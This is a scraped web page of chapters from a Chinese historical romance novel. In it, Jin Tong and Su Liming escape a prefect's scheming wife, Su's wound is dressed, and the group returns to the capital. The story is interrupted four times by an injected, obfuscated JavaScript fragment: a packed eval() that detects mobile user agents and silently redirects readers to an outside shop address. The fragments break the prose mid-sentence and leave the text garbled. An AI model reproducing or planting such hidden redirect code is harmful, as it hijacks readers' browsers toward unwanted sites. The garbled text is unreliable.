太守府的护卫早认得他们，今日的阻拦是得了谁的授意？ 何太守与何盈盈不在府中，又是谁的安排？ 张婉去书房去令牌，专门问嬷嬷要了钥匙，可知何太守的书房平日都是上了锁的，书房森严至此，账本于何太守而言更是重中之重，何盈盈是如何轻易取得的？ 何盈盈的一举一动恐怕早已在张婉的监视之下，整个太守府尽在张婉掌控之中，包括何太守本人。 所以门口的护卫明知他们是何太守招待过的客人，依旧尽职尽责地阻拦他们。 “不必等了。”苏礼明道，直接闯进了太守府所谓的“禁地”。 护卫小厮拦不住他，丫鬟和嬷嬷更是拦不住他。 金桐紧跟在苏礼明身后，见他推开书房的门，张婉侧卧晕倒在地上。 若不是看穿她的伪装，金桐定会被她欺瞒，乱了阵脚。 张婉的诡计她已心中有数，只觉得似曾相识，当日她也是以膝盖上的伤这般碰瓷何太守的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868534|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>以防万一，她没贸然行动，拉着苏礼明站到一旁，亲眼看着嬷嬷和小丫鬟冲进书房。 嬷嬷跪坐在地上，双手轻轻托起张婉的头放在膝盖，对小丫鬟道：“去请大夫。“” 金桐没时间陪她们演戏，准备另寻他路，转身便要走。 嬷嬷道：“我家夫人尚未苏醒，二位还不能离开。” “你家夫人面色红润，不像有事的样子。”金桐看着装晕的张婉，“况且我们又不是大夫，留在这儿没有用处。” 跟在张婉身边的嬷嬷不可能是省油的灯，她高喝一声：“来人。” 院外冲进来四个劲装的护卫，看气势便知和他们先前对上的那些假把式不同。 “这两个人硬闯书房，夫人晕倒，情况不明。”嬷嬷对护卫道，“留下他们。” 金桐看了看院中四人，又看了看躺在地上的张婉，后者的嘴角带着势在必得的笑意。 面对四名护卫，苏礼明一人突围不难，若是带上她，则几乎没有可能出去。 金桐凑近苏礼明道：“你先走。” 苏礼明垂眸看她，面露不赞同。 也对，她明知道苏礼明做不出这种事，偏还多嘴说这一句。 趁着苏礼明看她，她朝内使了个眼色，而后快速蹲下，手中的匕首抵在张婉颈边。 这匕首，是张学士塞给她防身的。 与此同时苏礼明长剑出鞘，直指嬷嬷。 金桐与苏礼明配合默契，这一切只发生在瞬间，院中护卫根本来不及阻止。他们掌控人质，局势当即翻转。 “别动。”嬷嬷制止住蠢蠢欲动的护卫，仰头无惧地看着苏礼明，“公子不必吓唬老奴，老奴知道，您的剑刺不下来。” 她在激将，或是试探苏礼明的底线，无论她是生是死，于张婉而言都是助力。 活着的益处不必说，她若死了，国公府大公子私闯太守府斩杀奴仆的消息几日内必将传回西京。 苏礼明的剑尖一寸寸迫近，嬷嬷的头颅便随之后仰，直到仰到极致，嬷嬷露出挑衅的笑容，将脖子往前递了几分，冰凉的剑刃抵着松弛的脖皮肤，随时都能将之划破。 苏礼明的手微微用力，血珠连成了股，顺着脖颈流进了嬷嬷衣领里。 嬷嬷想要试出他们的底线，他们绝不能受制于人。苏礼明与金桐同样想法，不退反进，金桐却明白，苏礼明即便杀了这嬷嬷也无济于事。 她的死亡反而会成为他们的把柄，增加张婉手中的筹码。 “嬷嬷碍事，踢开就好。”金桐道。 依金桐所言，嬷嬷被苏礼明踢翻。金桐拖着张婉悬空的脑袋，缓缓平放在地上，没教她磕到分毫。 嬷嬷挣扎想要去到张婉的旁边，苏礼明的脚稳稳踩在她的肩上，她无法起身。 张婉的定力当真不错，这一番变故竟都无法让她睁开眼睛，仅仅是睫毛轻颤了几下而已。 金桐手腕轻旋，划破张婉的下巴，疼痛使她眉头皱起。 “夫人，你想杀我，但现在命却在我手里。”金桐拇指抹掉张婉下巴鲜红的血迹，“留得青山在，不怕没柴烧，就算为了腹中的孩子着想，你也该退一步，不是吗？” “还不睁眼吗？”金桐问道。 张婉的眼皮缓慢睁眼，眼底一片清明。 37. 冲突 金桐没有表面看起来那么淡然，她在赌。 她也曾孕育过一个孩子，明白母亲与孩子之间深刻的羁绊。她相信张婉身边的嬷嬷不怕死，甚至张婉也不怕死。 但她觉得，作为母亲，张婉一定不允许任何人伤害她的孩子。 她承认自己手段下作，好在她赌对了。 张婉如果真的为了达成目的不惜任何代价，她必然会输得一败涂地，因为她无法真正对一个无辜的孩子下手。 “来谈谈吧。”金桐俯视躺在地上的张婉，“夫人想办法救人，我自会保夫人与胎儿平安。” 起初张婉坚持闭口不言，金桐也装作不急，只用目光不断在张婉的肚子上梭巡。 她们一个蹲着，一个躺着，本就不对等，只要张婉有所动作，金桐有十足把握制服住她。 金桐静静等待着，等待着张婉做出决定。 张婉扭过头看向院子，心知所倚仗的护卫鞭长莫及。 “你们遇见的流寇是我的人，目标从始至终都是你而已，不会伤害旁人。” 张婉所言与张学士的推断一致，金桐安下了心。 眼下要紧的事情是她和苏礼明如何脱身，他们还得回去接应张学士。官道上前不着村后不着店，总不能让张学士带着彭昱和周子衡原地过夜。 苏礼明脚下的嬷嬷挣扎个不停。 苏礼明以剑柄击她颈侧，在嬷嬷昏迷之后，他走到了金桐旁边。 金桐收起匕首，对张婉道：“地上冷硬，起来说话。不过我劝你不要搞小动作，苏公子的剑定不会慢过你。” 她双手去扶张婉起身，张婉没有拒绝，顺从地搭着她的手站起来。 “我知道你在想什么。”张婉以手背轻碰下巴的伤口，疼痛使她瑟缩一下，“你想挟持我以从太守府脱身。” 她没有第一时间给护卫下达命令，而是侧头微笑看着金桐。 “从我起身这一刻起，你们就已经威胁不到我。金桐小姐，你太年轻，心肠也太软和。” 金桐神色冷峻地看着她，张婉却如同看穿她的虚张声势一般，往她跟前逼近几步。 金桐站着没动，她们两人的身体几乎碰到一起。 张婉说得对，她本可以粗暴地拖拽张婉起来，但是她没有。顾及到张婉有孕的身子，金桐选择了最温和安全的方式，无疑把自己暴露得彻底。 张婉牵起金桐的一只手放在她的肚子上，稳操胜券地笑了，就像在说：我把弱点亲自送到你手中，你又能如何？ 张婉赢了，孩子不是金桐威胁她的工具，而是她的保命符。 金桐无言得抽出手，把张婉晾在一边，对苏礼明道：“我们走。” “进了太守府的门，你以为还出得去吗？”张婉看着他们的背影，对院中蓄势待发的护卫道，“动手。” 苏礼明应对着来自各个方向的进攻，金桐说不出让他别管自己这种话，她唯一能做的就是老老实实呆在他身边，让他不分心地保护自己。 苏礼明左臂为她挡了一刀，汩汩冒血，金桐看在眼里，痛在心里，强迫自己冷静。 他们且战且退，一路退到太守府大门。 按照张婉的吩咐，大门早已紧闭，外面的人进不来，里面的人也出不去。金桐与苏礼明就像被困笼中的囚鸟。 门闩卡得死紧，金桐用匕首一下一下砍在门闩上，她的双手很快因为反震而力竭，门闩上只是出现小小的豁口而已。 她站在门边，进退维谷。 张婉悠然立于战圈之外，“我既然敢承认堵截马车的是我的人，就没打算让你活着出去。别再负隅顽抗了金桐，你要拖累苏公子至何种境地？” 长刀竖着劈下来，苏礼明惊险地躲开。金桐眼看这一幕，微微张口。 “保护好自己，别分心。” 不等金桐说话，苏礼明就出声打断她。 金桐猝然醒悟，张婉在攻心。 苏礼明是国公府的人，张婉还没疯狂到敢让苏礼明交代在这太守府。苏礼明一心与她共进退，张婉的人投鼠忌器，使不出全力，战局僵持在一种相对的平衡。 所以张婉选择她作为突破口，试图将她与苏礼明分割主动放弃求生。 可即便看穿张婉的意图又如何？他们落败已成定局，剩下的只需交给时间。 苏礼明以一敌四，还能分心给她。他仿佛背后长眼，洞悉金桐心中所想，道：“还没到认输的时候。” 眼看苏礼明越退越近，金桐想着，她的路也许只能到此为止了，却忽然听闻门外一阵骚乱，似有打斗声。 张婉激动地往前走了几步，大声道：“所有人，停手。” 看张婉的反应，门外不是她的人，打斗不在她的计划之中。 但门外也不是金桐他们的人，远在岭南，她想不到有谁能未卜先知，专程来此救援他们。 外面很快传来“哐哐”的破门声，苏礼明护着金桐后退几步，几乎在下一瞬，大门因为撞击轰然打开。 张婉微眯了眼睛，不善地看向站在门口的不速之客，“大胆贼人，胆敢来太守府撒野。” 一个少年声音不大不小地抱怨道：“头儿，这什么狗屁太守府，里面的人怎么张口就骂人？” 是镖行的人。 黑皮汉子安抚少年道：“我们不请自来，还撞坏了人家的门，挨骂也是应该。” 少年点点头：“头儿说得有道理。” 这时，张学士从旁走出，“夫人说的贼人，可是老夫吗？” 看见张学士安然无恙，金桐不禁热泪盈眶：“学士。” 张学士对她和苏礼明招手：“愣着干嘛，闹得鸡飞狗跳，惹夫人动怒，还不出来？” 张婉大势已去，强留不下金桐，只能眼睁睁看着她和苏礼明出了太守府大门。 金桐委屈极了：“学士，苏礼明受伤了。” 张学士看着苏礼明被血浸透的半条胳膊，面色难看：“我该怎么和国公爷夫妇交代。” 彭昱见了苏礼明的伤势更是直抽凉气，比个了大拇指：“真汉子。” 那么多血，估计伤口深可见骨，他不敢想象苏礼明是凭着怎样的意志站在这里的。 彭昱抖了抖，不敢再看。他扬起下巴，对门内的的张婉冷嘲道：“学士交代什么？我看，该向国公府交代的另有其人吧！” 金桐此刻已经无心他们的嘴仗，一心系在苏礼明的伤势上。 苏礼明见她眉头紧锁，眼圈红红，宽慰她：“轻伤而已。” 人已经接到，他们还要去安顿，苏礼明的伤也亟待处理，张学士隔着大门对张婉道：“今日之事，望夫人代为转达，监察院和国公府需要一个交代。” 张婉功亏一篑，不甘心地攥紧了拳头。 夜晚，苏礼明沐浴过，上身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868535|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赤裸地坐在床边，单手给自己换药。 有人叩了三声门，他停下手中动作，问道：“谁？” 门外人答道：“是我，周子衡。” 苏礼明起身披上里衣，给周子衡开了门。 周子衡朝他房内望了望，看到床上的纱布和药瓶，便知自己来得正是时候。 “我帮你换药。”苏礼明的手还把在门上，出于礼貌他询问道，“让我进去？” 苏礼明挡在门口没动，婉拒了。 “我不习惯让人触碰，多谢周兄好意。” 周子横只能道：“好吧，若是有需要我的地方，苏公子再来叫我。” 周子衡走后，苏礼明重新坐回床上，刚脱下左边衣袖，又有人敲门。 他当是周子衡去去而复返，便没问来人，直接去开了门，却是眉头一跳。 门外站着的人并非周子衡，而是金桐。 苏礼明紧着里衣，领口敞开至锁骨下方，金桐感觉自己的脸有逐渐发烫的迹象，别开眼，问道：“方便我进去吗？” 苏礼明低头看了眼自己，问道：“现在？” 金童轻轻“嗯”了一声。 苏礼明稍稍整理过衣领，侧开身子让路，让金桐进来了。 金桐低着头走进他的屋子，眼睛瞥向床上的药瓶，道：“今日多谢你。” “你我之间无需言谢。”苏礼明道，伸手去拿挂着的外衣。 金桐转过身子，口不择言道：“不用穿了。” 言罢，她就意识到这话太奇怪了，懊恼地咬了下嘴唇，却忽略了苏礼明当着她的面穿衣这件事本身就很奇怪。 “好。”苏礼明应道，声音里藏着笑意。 金桐重新转回身，见苏礼明温和地看着自己，知道他是在等待她的下文。 憋了半天，金桐问出一句：“你疼不疼？” 她看见苏礼明的嘴角微微上扬，神色有些玩味。 “疼的。” 金桐瞬间失语，苏礼明在捉弄她。可一想到他血染的手臂，心还是抽痛了一下。 “对不起。”她垂眸歉然道，“我总是给你添麻烦。” 苏礼明无奈地叹了口气，往前走上两步，微微低下头看她，“不让说道谢的话，就说道歉的话，当真拿你没办法了。” 历经那样的惊心动魄，金桐直到晚上心绪也难以平静，此刻苏礼明忽然的靠近更让她心乱如麻。 她在身量上较苏礼明矮了一头，烛光从后面打过来，被苏礼明挡住大半。 这是她第一次在苏礼明身上感受到属于成年男子的侵略性。 她被笼罩在苏礼明的阴影里。温热的气息自他身上不断传来，裹挟着氤氲的水汽和苦涩的药草味道，不由分说地吞噬着她。 她心中产生了退意，刚有动作就被苏礼明捉住，抬起头，见苏礼明双眸幽深，她心跳擂鼓。 手腕被苏礼明隔着衣袖松松地钳着。 苏礼明没有用力，只要她想，随时可以甩开，可是出于某种原因，她没有那样做。 金桐感觉自己与苏礼明之间好生古怪，空气似在偷偷升温，熏得她双颊都热了起来。 她本能地对抗这种怪异，固执地盯着苏礼明的脸，一错不错地。 在长久的对视中，金桐最终败下阵，她错开眼，却听苏礼明发出闷闷的笑声。 “可以帮我换药吗？” 38. 换药 金桐久久没回答，苏礼明松开了她的手腕，后退一步拉开距离，温声又问了一遍：“可以吗？” “好。”她小声回答。 她本来也是为这件事而来。 担心苏礼明沐浴后伤口沾水，她专门找到周子衡，拜托他帮忙换药，却被苏礼明回绝了。 前思后想，她放心不下，便亲自过来了。 苏礼明走到床边坐下，见金桐还呆愣在原地，便对她道：“过来。” 金桐起初有些羞意，但想着来都来了，何必扭扭捏捏，便迈着步子走过去。 她站在床榻前，弯腰去够苏礼明里衣的袖子，被他轻飘飘躲开。 “坐。”苏礼明又道。 金桐掀起眼皮看他一眼，咬了下嘴唇，搭个边坐下了。 他们之间有些距离，苏礼明看她两条胳膊绷得直直的，指尖勉强碰到他的衣袖，想叫她再坐过来些。 可转念一想，若是逼太急，让人红了脸，保不齐又会像上次游湖回来那样，连走路都要避着他。 罢了。 苏礼明主动挪近，金桐手上动作一顿，却没说什么。 他的里衣料子轻薄柔软，金桐往上挽了几次，总是滑落下来，苏礼明默不作声地看着她跟袖子做斗争，道：“别急。” 怎会不急，金桐额上都急出了汗，她清清嗓子：“那个，你把衣服脱下来吧。” 她两只手比划着，“只脱半边，胳膊露出来就好。” 金桐感觉自己舌头要打结，若是没有手上的动作配合，她怕是连话都说不好。 她一边强作镇定，一边觑着苏礼明的脸色，觉得自己好像趁人之危的登徒子，苏礼明则是柔弱的小白花。 好在苏礼明没什么过激的反应，不然她真要无地自容了。 修长的手指搭上襟带，金桐看着，莫名咽了下口水。 她不敢再看苏礼明，装作不经意地偏过头，却不知紧促的呼吸早已将她暴露得彻底。 “帮我。” 金桐听到他这样说。 苏礼明衣衫半解，白花花的胸口隐匿在雪白的衣领间，在门口金桐早已一窥春色，当下还是被晃了眼。 她眼神无处安放，仿佛失措的鸟，慌乱寻不到落脚点。无论她看向哪里，余光总也避不开那抹亮色。 “怎么帮？”金桐尽量平稳声音问道。 “袖子，我一只手不方便。” 苏礼明单手行动受限，衣领挂在肩膀，半掉不掉的。 金桐帮他把半边衣服扒下来，十个手指尖不可抑制地微微颤抖，她协助苏礼明成功把左臂从袖子中解救出来，丝毫没意识到苏礼明身边没人的时候，一个人是怎么沐浴更衣的。 苏礼明手臂缠的纱布已经松垮，有血迹渗出来。 鲜艳的血色仿佛兜头一盆凉水，金桐整个人瞬间清醒，任何心猿意马涤荡一空。 “伤口怎么裂开了……”捧着苏礼明的胳膊，小心翼翼地拆下纱布，像在对待稀世珍宝。 好在伤口只是出了点儿血，没有化脓，她用手帕仔细清理干净伤口周围的血水，头在不知不觉间越靠越近。 “往后一定要注意，千万不要再沾水了。”她沾拭血迹的动作十分轻缓，连带着声音也轻轻柔柔的。 苏礼明盯着她的发顶，应道：“我知晓。” 清理完伤口，金桐长长呼出一口气，然后打开金创药，足有手掌长的伤口皮开肉绽，她光是看着都受不住，一时难以下手。 “可能有些疼，你忍一忍。”她提醒道。 下午大夫给苏礼明清创包扎，金桐作为女子回避了，在场的彭昱和周子衡看得龇牙咧嘴，最后都背过身不忍再看，苏礼明本人硬是一声没吭。 这会儿他却对金桐道：“你轻一些。” 金桐想他是国公府公子，几时受过这样的伤，心中愧怍，道：“我尽量。” 她左手轻托苏礼明的胳膊，右手捏着药瓶，食指在瓶身轻轻一点，白色的药末便洒在狰狞的伤口上。 她怕他疼，连忙吹了吹。 苏礼明的身体抽动了一下，金桐抬着头看他，“疼了？” “唔。”苏礼明看着自己的伤口，“吹过就好多了。” 接下来，金桐如法炮制，洒一点儿药就吹一吹，最后用干净的纱布一圈一圈重新缠好，帮他穿好衣服。 “多亏有你，否则我这药怕是换不成了。”苏礼明感激道，“明日还来吗？” 金桐道：“当然要来，给你换药我责无旁贷。” 若不是苏礼明替她挡了刀，这么长的伤口就要出现在她身上。 苏礼明不要她的道歉，也不要她的道谢，她都不知道该如何偿还这份恩情。他需要帮忙，金桐再高兴不过，她能为苏礼明做的不多，这点儿小事自然不会推脱。 夜已深了，不宜久留，金桐准备告辞，苏礼明起身相送。 走到门口，金桐背对着苏礼明道：“下次不要这样了。” 她指的是苏礼明替她挡刀受伤。 苏礼明对此不置可否。 没有得到回应，那就是不答应了。 金桐回身，忍不住问他：“你对每个人都这样好吗？如果是王盛宣，你也会毅然决然地挡过去吗？” 话一出口，金桐便恼火自己问的什么破问题，怎么无端扯到王盛宣身上去了？ 她安慰自己一定是今日经历的事情太多，头脑昏沉，现在最重要的事情就是回去屋子好好睡上一觉。 “不会。”苏礼明回答道。 金桐一愣，耳边似有无数密集的水泡炸裂开来，似欢喜似酸涩，声音细微却又震耳欲聋。 苏礼明问她：“你有帮王盛宣换过药吗？” “没有。” 苏礼明满意地笑了，绕过金桐拉开房门，道：“时候不早，好好休息。” 金桐住的屋子就在苏礼明对面，苏礼明目送她回到自己屋子，又看着她先关上了门。 她关门之后并没有立刻往屋里走，而是仰着头靠在门上。 听着对面房间门扇合上的声音，金桐整颗心仿佛才从温水里捞出。 静谧的房中，时间似被无限拉长。金桐安静地倚靠着门，静待热潮褪去后的答案。 许久后，她对着空气轻笑了一下。 她好像喜欢上一个人。 她想。 一连几日，何太守带着礼品来访，都被张学士拒之门外。 听说何太守又来，彭昱他们把苏礼明按在房里不让他出门。金桐笑着摇摇头，出去看情况。 何太守一看见金桐，热络地好像找到失散多年的亲人。他日日来，日日碰壁，除了张学士以外，金桐是他第一个见到的人。 “小友无恙否啊？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868536|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>何太守打开一个盒子，里面是人参等各种珍贵的药材，其中几样金桐识得，功效是专门疗养外伤和安神的。 金桐瞥了眼张学士，他板着脸，却没表现出抗拒的意思。金桐从何太守手中接过盒子，道：“何太守有心了。” 这么多天，这是他得到的第一句好话。 张学士之前总是乐呵呵的，自那事发生之后，再没给过他一次好脸色，每天他诚心诚意来，对着张学士说尽软话，得到的回答无非“嗯，啊，哦”三字。 “是我对不住小友。贱内行事乖张，目无法度，竟背着我做出如此疯狂之举。按律应当……但看在贱内身怀六甲的份上，请小友宽恕，放她一马。”何太守哀叹连连，一边装作用袖子拭泪，一边看金桐脸色。 他恳求金桐放过张婉，并非真心实意怜惜妻子，只不过以此做个试探。言辞凿凿间他已将自己摘了个干净，便是金桐决意追究，他也只需将张婉推出来抵罪，自己最多落得一个无知的罪名。 看他模样，应是不知书房中那本至关紧要的账本已经到了他们手里。他若是知晓，只怕疯狂程度比张婉不遑多让。 不知张婉为何没将此事透露给何太守…… “我大概知晓了令正对我敌意的缘由，她实在想错了。”金桐苦笑道，“我只是检察院一名普通学子，在邱监察跟前实则连话都说不上。” 金桐已经从张学士口中得知事情的前因后果，张婉执意要杀金桐，要从她与邱监察的旧怨说起。 十年前邱监察在岭南的作为虽被紧急叫停，调令出自宫中，何太守也知晓。他以为邱监察依仗的是陛下，遂起了攀附之意。 庄嬷嬷不得已将张婉下嫁给何太守做续弦，以此笼络他，何太守最后如庄嬷嬷所愿，成了她的人。 张婉在西京过得锦衣玉食，此一遭无异于飞来横祸，她不敢对狠心将她远嫁的庄嬷嬷生怨，反而视邱监察为罪魁祸首，因此恨毒了她。 金桐是个女官，又出自监察院，张婉擅以为金桐与邱监察的关系类于自己与庄嬷嬷的关系——即便不似母女般亲密，张婉也当金桐是邱监察作为继承者培养的人选，便把满腔恨意转嫁到了金桐身上。 难怪张学士和苏礼明当时举止怪异，原是早有所感。 金桐听完，当时还觉得张婉怎可如此草菅人命。 张学士却感慨，张婉素来是个笑面虎。庄嬷嬷是太后身边的红人，张婉又是庄嬷嬷的义女，平日里杖杀个宫女太监不算什么，便是到了岭南，依旧不改当年秉性。 金桐听完亦是颇多无奈。 张学士道：“小友放心，我已经跟贱内说清楚，保证她以后绝不会再找小友麻烦。” 金桐心里琢磨着账本的事，想来张婉满心怨怼地嫁给何太守做了续弦，应是貌合神离，未将账本的事告知于他。 金桐想了想，道：“说开就好，我只不过受了些惊吓，苏公子却是实实在在地受了不轻的伤。” 何太守怕的也正是这个，便是监察院不追求，光国公府追究也够他喝上一壶的。 “还请小友替我在苏公子面前多多美言啊。” “那是自然。”金桐应下了，又暗示他，“苏公子这几日忌口，吃什么都没味道，心里烦闷得很。若是何小姐能亲手做上几道菜送来，想来他心情应该能好些。” 何太守听完连连点头：“明白，明白。” 39. 归京 何太守将金桐的话听了进去，翌日，何盈盈独自提着食盒过来探望。 张学士等人对何盈盈的态度可比对何太守好多了，只是何盈盈对他们不大热络。 她对张学士恭恭敬敬行礼问好，对待彭昱和周子衡则是点头敷衍了事。 他们早就适应了何盈盈这个做派，也不挑她什么，彭昱还贴心地去苏礼明房中替她叫金桐出来。 一个照面，金桐瞧何盈盈精神不错，料想她没收到何太守和张婉的为难，略微放下了心。 往日何盈盈都是跟在何太守身后，今日只身前来，金桐才发觉不对之处，问她：“你的侍女呢？” 何盈盈道：“我没有侍女。” 她的院子里仅她一人，平时能做的就自己做了，她早已习惯，不觉得冷清，反正她也不希望张婉的人进到母亲的院子里。 金桐不知该说什么，按照张学士的说法，以张婉为人，何盈盈自小就在她手底下讨生活也是不易。 但何盈盈对此不大在意。 金桐去而复返，她心情甚好。 她地把金桐拉到一边，有些雀跃地揭开食盒，里面是满满当当两层糕点。 “喏，给你吃。” 金桐回看身后的张学士他们。 何盈盈心领神会道：“放心，他们也有。只不过他们那份是厨房做的，你这份是我做的。” 金桐闻言惊喜地拈起一块荷花形状的糕点，在何盈盈满怀期待的目光下轻轻放入口中。 “怎么样？”何盈盈问道。 绵软湿润的糕点入口就在舌尖化开，金桐咽下一口，回味道：“清甜绵密，好吃极了，好像有莲子的味道。” “说对了，这些糕点里我都加了些养心安神的食材。”何盈盈指着盒子里形状各异的精致糕点，一一细数，“这个里面加了百合，这个是酸枣仁的，这个是茯苓……” “你慢慢吃，吃完了我再做。” 金桐对她道谢，把糕点盒子盖上，一手拎着盒子，一手拉着何盈盈，道：“随我来。” 何盈盈跟着金桐进到她房中，金桐关上了门。 金桐走到榻边，从枕头下面拿出账本，递给了何盈盈。 “你看看这个。” 何盈盈接过，随手翻看几页，认出是她给金桐的账本，她不解道：“怎么了？” 金桐道：“这账本是伪造的，连你看不出破绽，我就放心了。” 单看封页没什么区别，何盈盈重新翻开，仔细看了看字迹，果真看出不太一样的地方，她道：“还真是。” 彭昱读书时常帮人抄书，不知不觉练成了模仿笔迹的本事，时间紧促，彭昱连夜抄写账本，模仿了个七八成。 金桐道：“小心张婉，她已掌控整个太守府，你能从书房偷出账本，是她有意为之。以当前情况看来，何太守还不知情，你寻个机会，把这假账本放回书房里，以防他发现。” 何盈盈捏紧账本，讶异道：“她怎么会帮我？” 金桐摇头，道：“也许不是帮你，只是顺势而为罢了，她或许有自己的考量。” 金桐没说得太明确，何盈盈意会道：“狗咬狗。” 金桐被她的率直逗笑，看得出她十分讨厌何太守和张婉了。 其实分别那日她就很想问问何盈盈愿不愿意跟她离开，但终究也没问出口。 做不到的事还是不要轻易许诺，免得平白让人失望。 何盈盈长这么头一次有同龄朋友，她把账本攥在手里，有些不舍地问金桐：“你还能在岭南呆多少时日？” “这个我也说不好，且看苏礼明伤势如何吧。” 何盈盈小声嘟囔：“希望他的伤痊愈得慢些。” 金桐心里不是滋味，她翻找出纸笔，写下自己的住址，对何盈盈眨眨眼，“何小姐如果愿意，日后可以给我写信。” “当真？”何盈盈素来平静无波的音调都拔高了。 “当真。”金桐笑着应她。 何盈盈将写着金桐住址的纸张捧在手里，看了又看，确认自己记下之后，纸张对折再对折，被她珍重地收在怀里。 何盈盈走后，金桐仍在盘算该如何斩断她与太守府的关系，无论从法理还是情理来讲，她都没有资格从一位父亲身边剥夺他的女儿。 金桐提着糕点盒子去到了苏礼明房中。 苏礼明只是伤了手臂，张学士他们待之宛如伤了腿，没事不准他走动，三餐都单独给他送到房中。 当然，以防他寂寞，张学士指名金桐陪他用餐。 苏礼明拿了本书打发时间，见金桐进来，他将手中书倒扣在桌上。 “事情不顺利？” 金桐道：“很顺利，假账本何小姐已经看过，连她都分辨不出，糊弄何太守一阵足够了。” 至于真账本，已经由镖行带着在去西京的路上了，不日就会送到邱监察手里。 “那为何愁眉苦脸？”苏礼明问道。 金桐手抚上脸，左右摸了摸，“有吗？” “罢了，先来吃糕点吧。”她揭开盒子，“托你的福，何小姐今日带了两盒糕点过来，这盒是她亲手做的，你尝尝，味道很不错。” 苏礼明选中一块金元宝形状的，道：“是托你的福。” 金桐给自己和苏礼明各倒了杯茶，两个人面对面吃糕点。 吃着吃着，金桐幽幽道：“其实……有件事我不知如何处理。” 苏礼明咽下口中糕点，拿起茶杯饮了一口，道：“你说。” “我想带何小姐离开岭南。” 苏礼明立刻会意道：“需要我做什么？” 金桐想与何盈盈说话或见面，一直都用苏礼明作幌子，苏礼明已经习惯了。 其实带何盈盈回西京倒也有个法子，要让一个女子长久离家，只需让她嫁人。 依何太守所愿，苏礼明纳何盈盈为妾室，如此一切自然顺理成章。 可这实在是个馊主意，对他们三人中的任何一人来说，都是馊主意。 金桐决计不会同意这种做法。 她直勾勾盯着苏礼明的眼睛，问他：“你想做什么？” 苏礼明看出她心中所想，笑道：“若何小姐不嫌弃，我可将之认为义妹，假借家中双亲的名义邀请她到西京做客。” “这倒是个可行之法。”金桐眼睛亮了一瞬，又很快暗了下去，“可惜只能解近渴，终非长久之计。况且还要牵扯国公大人夫妇，反倒不美。” “此事只能容后再议了。” 十日后，苏礼明伤势养得差不多，他们一行人重新启程回西京。 金桐回到久别的院落，倍感亲切。 她离开西京大半个月，整个院子却比她在时还要干净整洁，院中甚至种起了木槿。 这些都是苏景明的功劳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868537|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姐姐，兄长，你们在外面好生潇洒，再不回来，我辛苦种下的花都要开败了。” 苏礼明对于弟弟争宠的花招冷漠视之，金桐可做不到他那般铁石心肠，她欢喜得要命。 “现在回来还没错过花期，也不算晚。” 苏景明满意地哼了声。 金桐又问：“我不在这段时间，沈小姐有没有来找过我？” 苏景明摇头。 沈知之留宿的第二天清晨，金桐醒来已经不见她踪影，她就那样不告而别，连只言片语也没留下。 “那个沈知之，是个狠心的。”苏景明说风凉话，“不过姐姐，虽没有沈知之，却有旁的人找你。” 金桐疑惑：“是谁？” 她不记得自己在西京还有旁的朋友。 苏景明道：“我已派人去叫他，姐姐待会儿就知道。” 金桐道：“神神秘秘的，别是位冤家才好。” “啊嚏。”大门外传来一道跳脱的男子声音，“好啊，金桐，一见面就被我抓住你背后讲我的坏话。” 金桐眉眼飞扬地超那人跑过去，惊喜道：“王盛宣，竟然是你！” 他对金桐挑挑眉，而后越过金桐，登堂入室，到哪都不拿自己当外人。 他亲热地跟苏礼明和苏景明两兄弟打招呼：“苏兄，小苏兄。” 苏景明不满道：“你这人，兄长一回来，我倒变成小苏兄了，亏我费心招待你。” 王盛宣嘿嘿一笑。 苏礼明对他道：“别来无恙，王兄。” 金桐这会儿想起来问他：“你怎会突然来西京？” “并非突然。”王盛宣竖起食指，左右摆了摆，“苏兄给我写信说，有人对着月亮想家，我便替吴嬷过来看看。” 金桐眼睛发热，是她初来西京的那个夜晚。 她对苏礼明感激地笑了笑，原来他都记在心上。 王盛宣继续道：“可惜不巧，我快马加鞭赶过来，你们却走了。” 金桐笑笑，又道：“我想家的事，你没同吴嬷讲吧？” 王盛宣道：“放心吧，报喜不报忧，我懂的，我跟吴嬷说你在西京一切都好，让她放心。” 